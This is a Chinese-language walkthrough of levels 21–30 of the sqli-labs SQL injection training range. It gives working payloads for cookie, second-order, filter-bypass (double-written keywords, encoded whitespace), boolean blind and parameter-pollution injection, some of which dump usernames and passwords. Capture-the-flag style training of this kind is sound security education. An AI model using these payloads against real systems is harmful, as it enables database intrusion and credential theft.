二十一关
打开这一关,开屏暴击。报错的大致意思是时区没有设置好,我们进入报错的文件,在php代码中加入中国时区的代码即可:
date_default_timezone_set("PRC");
其实不改这个也不影响我们做题目,只是有错不改看着难受而已,页面正常后,开始正题:
第一步:在账号密码框一顿输出后,发现注入点不在外面,只能登录进入里面看看,看到了页面显示了我们的UA、cookie等信息。有点类似第二十关,属于cookie注入!唯一不同的是这一关考察了一个加解密运用,cookie中使用了base64加密,所以我们上加解密工具!
在burp suite中配合加解密工具拿下这关,如下图:
admin') and updatexml(1,concat(0x7e,(select database()),0x7e),1) #
二十二关
这一关和上一关类似,不同之处在于这一关使用双引号闭合!
admin" and updatexml(1,concat(0x7e,(select database()),0x7e),1) #
轻松拿下这一关。
sqliabs总共65关,恭喜你,已经过了三分之一了。继续搞,别半途而废!!!
二十三关
这里简单的单引号判断参数的接受类型,页面报错!这也太简单了吧!
接下来我们使用注释 --+ 或 #让页面恢复正常看看。失败了,看来没那么容易,毕竟BOSS都是到后面才出来的。
分析下:发现 --+ 和 # 都不起作用,这里我们猜测 --+ 和 # 注释符都被过滤了,看看源码:
老方法不行,那就学个新操作,我们使用 or 1=1、and 1=1来代替 --+ 和 # 绕过。报错语句如下:
?id=-1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '1'='1
页面成功爆出数据库名。后面的操作就不重复了
温馨提示:这一关的操作也可以用到之前所有的关卡,只是 --+ 和 # 能用的时候更加省事!!!
二十四关
相比之前的关卡,这一关的页面添加了更改密码和注册用户功能,不难猜测,这一关要在修改密码和注册用户上面做文章!!!这关也是一个新的知识点:二次注入(标注下:重要~重要~重要~)
第一步:我们先来注册一个恶意的账户名,例如admin'# 、admin'--+、admin' or '1'='1注入的恶意账号并不是只有以上几种,具体要根据实战随机应变,不过我们要满足两个主要的点:(1)我们注册的恶意用户要存在(2)参数的接受类型闭合要准确
此时我们二次注入的第一次注入已经完成,我喜欢把第一次注入叫:注册(register)注入
第二步:登录我们注册的 admin'# 用户,我们进行一个修改密码的操作。
这里第二次注入也完成了,把admin的密码成功修改了,第二次注入可以叫做:修改注入。
所以二次注入意思就是分两次进行注入,达到我们的目的。
到了这里,小白肯定一脸懵逼!感觉像魔法一样,里面究竟发生了什么。我们来认真分析下这一关的源码:
对1分析:可以看到注册用户的sql语句,只是简单的把我们注入的用户密码插入数据库中,未做任何过滤(指的是过滤:' 、"、#、--+ 等危险符号)。
对2分析:可以看到修改用户密码的时候,只是简单的去数据库查找有没有对应的用户,如果有就修改密码成功!
分析完后,咋看之下sql语句没啥问题,但是问题在于我们注册的 admin'# 用户,在注册语句中没把我们的 ' 和 # 给阻止掉。当我们修改密码的时候,后面的sql语句变化如下:
原先:
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
我们执行修改 admin'# 用户的密码为 111111 时,语句变成:
$sql = "UPDATE users SET PASSWORD='111111' where username='admin'#' and password='123456' ";
可以看到,前面的语句给我们的 ' 闭合了,后面语句给我们的 # 给注释掉了,语句执行的时候变成了:
$sql = "UPDATE users SET PASSWORD='111111' where username='admin'
修改admin'#的密码,变成了修改admin的密码,所以才会发生上面admin密码被修改的那一幕!!!
这就是二次注入的原理,也是我们在二十四关学到的新技能!!!
二十五关
根据页面提示,这一关可能把 or 和 and 过滤了。我们分析这一关源码,果不其然,我们用户输入的 or 和 and 被替换成了空格,但是只过滤了一次,也是一个隐患。
第一步:我们快速判断下,参数使用了单引号闭合。开始注入语句:
分析下:
这是我们注入的语句:?id=1' order by 3--+
到了后台语句变成了:?id=1' der by 3--+
既然后台过滤了我们的 or 和 and,并且之过滤一次。那我们使用叠加 or 和 and 进行绕过即可。语句如下:
?id=1' oorrder by 3--+ 页面被成功执行。
后面的步骤和之前一样,我们只要注意:我们注入的语句中有 or 或 and ,都需要叠加一下语句才能正常执行。例如,我们使用报错语句来完成这一关,语句如下:
爆数据库:?id=1' union select 1,updatexml(1,concat(0x7e,(select database()),0x7e),1),3--+
爆表:?id=1' union select 1,updatexml(1,concat(0x7e,(select group_concat(table_name) from infoorrmation_schema.tables where table_schema=database()),0x7e),1),3--+
注意:这里的 information 要构造成 infoorrmation 才能正常执行,不然执行后会变成infmation,必然报错!
还有一种方法: 使用 && 代替 and,|| 代替or绕过。
二十五a关
这一关和二十五关类似,过滤了or和and,我们依然双写绕过即可。不过这一关是数字型注入 。直接上语句:(记住infoorrmation双写or)
?id=-1 union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema=database()
二十六关
这一关如果不看源码的话,是非常的难注入的,我们只能使用白盒审计进行注入:
很明显,代码过滤了or、and、\*、--、#、\s、\ 和 / 还有空格。好家伙,这是不留一点机会啊!但是既然是靶场那肯定有迹可循!我们来学一点新的东西:
绕过:【利用()来代替空格】
PHP-5.2.17版本——【利用以下的编码来代替空格,从而进行绕过】:
%09 TAB 键(水平)
%0a 新建一行
%0c 新的一页
%0d return 功能
%0b TAB 键(垂直)
%a0 空格
注意:因为要绕空格,所以之前的 limit 就不能用了,而且报错注入只能爆出32位。如果对方数据多的话,我们可以使用一个盲注中用过的函数 substr() 。
过关思路:
(1)我们把 and 换成 &&,而 && 要urlencode成 %26%26 才能成功注入,如下语句:
?id=1'%26%26updatexml(1,concat(0x7e,(database())),1)%26%26'1' ='1
(2)我们还可以把空格换成 || ,这里直接使用就能注入成功,如下语句:
?id=1'||updatexml(1,concat(0x7e,(database())),1)||'1' ='1
直接爆表名,语句如下:
?id=1' || updatexml(1,concat(0x7e,(select (group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database())),0x7e),1) || '1' ='1
这里要注意一点,这里我们把空格换成 || ,在URL中是可以行得通的,但是在数据库中是行不通的,有的人可能会这样写:
?id=1' || updatexml(1,concat(0x7e,(select||group_concat(table_name)||from||infoorrmation_schema.tables||where||table_schema="security"),0x7e),1) || '1' ='1 这是一个错误的写法!不信我们可以进数据库测试下!如下图:
拓展小知识:常见的逻辑运算符有:|| 代表 or ,&& 代表 and , !代表否定。
他们的URL编码为:|| 等于 %7C%7C ,&& 等于 %26%26 ,!等于 %A3%A1 。
二十六a关
这一关和上一关是类似的,我们直接来分析一下26a关源码。
这里过滤了or、and、/、\、#、--+、空格。
第一步:从源码中我们也可以分析到参数的接受方式,尝试构造恶意语句让页面正常。
?id=1')%26%26'1'=('1 页面正常
?id=1')%26%26'1'=('2 页面报错,说明我们的 %26%26 成功绕过了代码的过滤。但是还有一点,页面
没有爆出错误字段,说明我们接下来使用报错注入是没有作用的。
第二步:使用布尔注入(布尔盲注、延时注入yyds,老折磨王了)
判断数据库名:?id=1')aandnd(substr((database()),1,1)='s')aandnd('1'='1
页面正常、说明数据库名第一位为 s ,后面的小伙伴们就自己判断了,根据之前关卡的经验,使用burp进行爆破。
判断表名:?id=1')aandnd(substr((select(group_concat(table_name))from(infoorrmation_schema.table
s)where(table_schema=database())),1,8)='emails,r')aandnd('1'='1
爆字段:?id=1')aandnd(substr((select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database())),1,8)='emails,r')aandnd('1'='1
总结下这一关:这一关我们可以使用联合注入,具体操作小伙伴就查看下其他文章,因为这一关使用联合注入,是有一点条件限制的(如PHP版本)。
布尔注入在这一关是没有其他附加条件的。
二十七关
通过前期的快速判断,知道这一关的参数接受方式是单引号 id= ('&id'),页面无回显。
但是使用之前的联合注入、报错注入,发现这一关都无动于衷。无奈只能来进行白盒审计,直接上代码。
可以分析到union,select,空格,注释符被过滤成空格了。我们使用:
%09 TAB 键(水平)
%0a 新建一行
%0c 新的一页
%0d return 功能
%0b TAB 键(垂直)
%a0 空格
爆出注入点:?id=0'%0aUNIon%0aSELEct%0a1,2,3%0aand%0a'1'='1
爆表名:?id=0'%0aUNIon%0aSELEct%0a1,group_concat(table_name),3%0afrom%0ainformation_schema.tables%0awhere%0atable_schema="security"%0aand%0a'1'='1
后面的就不重复演示了。
二十七a关
这一关和二十七的差别在于,这一关参数接受类型是双引号。直接爆表名。
?id=0"%0aUNIon%0aSELEct%0a1,group_concat(table_name),3%0afrom%0ainformation_schema.tables%0awhere%0atable_schema="security"%0aand%0a"1"="1
二十八关
分析这一关的源码
爆出字段:?id=0')union(select%0d1,2,'3
爆出所有数据库名:?id=1.1')union(select%0d1,(select(group_concat(schema_name))from(information_schema.schemata) ),'3
爆出数据:
?id=0')union(select%0d1,(select(group_concat(username,password))from(users)),'3
二十八a关
这一关和二十八关一样,我们直接爆出数据
直接爆出数据:
?id=0')union(select%0D1,(select(group_concat(username,password))from(users)),'3
二十九关
直接上报错注入语句:?id=1' and updatexml(1,concat(0x7e,(select group_concat(username) from users)),1) and '1'='1
如果实战中我们直接就获取出数据,然后西瓜到手了。但是靶场的目的不只是为了通关!!!我们来分析这一关的源码:
这一关考的内容是浏览器的参数污染!!!(不懂的小白可以自己百度学习”参数污染“)
我们对参数简单的判断一些,直接跳转hackerd页面。(实战中也会常常遇到页面跳转‘入侵警告’),这和我们源码中分析的一样!
使用参数污染进行注入:?id=1&id=-2' union select 1,2,3 --+
后面就是爆数据库、表、列、数据的操作!
三十关
(考点:参数污染、双引号、联合注入or其他)
这一关重复了上关的操作,作者可能为了让大家多重复几关熟悉参数污染注入吧!!!
这一关和二十九关区别就在于这一关参数接受是 双引号 ,我们直接爆出数据:
?id=1&id=0" union select 1,group_concat(username,password),3 from users--+
总结&复习 #温故而知新--+
一关到十关:
【1】我们学了SQL注入中的GET注入;
【2】考察了各种各样的参数接受方式;
【3】mysql中的多个函数使用if、sleep、outfile等等;
【4】还有文件读写注入、报错注入、布尔注入、延时注入。
十一关到二十关:
【1】我们学了SQL注入中的POST注入;
【2】考察了HTTP头部注入中的User-Agent注入、Referer注入、Cookie注入;
二十一关到三十关:
【1】我们学了加解密注入、二次注入;
【2】考察了各种关键的过滤如何绕过;
【3】各种编码%09 TAB 键(水平)、%0a 新建一行、%0c 新的一页、%0d return 功能、%0b TAB 键(垂直)、%a0 空格绕过;
【4】参数污染绕过;